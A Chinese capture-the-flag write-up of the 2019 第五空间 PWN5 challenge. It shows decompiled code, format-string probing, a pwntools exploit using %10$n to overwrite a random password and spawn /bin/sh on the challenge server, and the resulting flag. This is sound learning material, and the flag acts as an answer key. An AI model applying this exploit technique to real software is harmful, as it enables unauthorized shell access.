[第五空间2019 决赛]PWN5
潜心修炼,从基础开始
据说是基础的格式化字符串漏洞
ps:一个’%10$n’百度了半小时,终于看清楚了,是将成功输入字符串的个数,不是字符串!!!
占位符 | 作用 |
---|---|
%p | 以16进制输出指针的值(地址) |
%x | 输出16进制值(与%p有区别) |
%s | 输出字符串值 |
%d | 输出10进制整数 |
%n | 占位符前面成功输入的字符个数写入变量中 |
解题流程
1.查看文件
$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6a8aa744920dda62e84d44fcc440c05f31c4c23d, stripped
2.查看保护
$ checksec pwn
[*] '/home/ctf/Downloads/pwnexercise/pwn5/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
保护开了3个,一下子把我吓到了
然而并没有什么卵用
3.IDA反编译
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
直接看到了system(’/bin/sh’),只要绕过if ( atoi(nptr) == dword_804C044 )就可以,同时发现 printf(buf);存在格式化字符串漏洞
百度了一下atoi:C 库函数 int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型)。
4.探测格式化字符串
$ ./pwn
your name:AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Hello,AAAA.ff820a68.63.0.0.3.f7f90950.c2.0.c30000.41414141.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825
�your passwd:a
fail
发现偏移量为10,那么可以直接使用%10$x再测试一下
$ ./pwn
your name:BBBB.%10$x
Hello,BBBB.42424242
�your passwd:a
fail
5.编写EXP
# -*- coding:utf-8 -*-
#! /usr/bin/env python
from pwn import *
context(os="linux", arch="amd64")
# context.log_level="debug"
local = 1
elf = ELF('./pwn')
if local:
pro = process('./pwn')
else:
pro = remote('node4.buuoj.cn', 29328)
def get_shell():
passwd_addr = 0x0804C044
payload = p32(passwd_addr)+b'%10$n#'+b'%9$x#'b'%10$x#'+b'%11$x'
pro.sendlineafter('name:',payload)
a=pro.recvuntil("your")
print(a)
pro.sendlineafter('passwd','4')
pro.interactive()
if __name__ == '__main__':
get_shell()
我理解的漏洞利用链是这样的:先将0x0804C044写入偏移量10的位置,然后利用%n的作用将成功写入的字符的个数写入偏移量10中,由于现在的偏移量10的这个位置存储的是0x0804C044,从而实现了覆盖0x0804C044。
–以上为个人浅见,请批评指正–
6.获得flag
$ python3 pwn5Exp.py
[*] '/home/ctf/Downloads/pwnexercise/pwn5/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to node4.buuoj.cn on port 29328: Done
b'Hello,D\xc0\x04\x08#ffc7ed3c#804c044#24303125\nyour'
[*] Switching to interactive mode
:ok!!
$ cat flag
flag{8ccc6011-c53b-4e78-b2b0-5dec2611f631}
$
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 29328
打完收工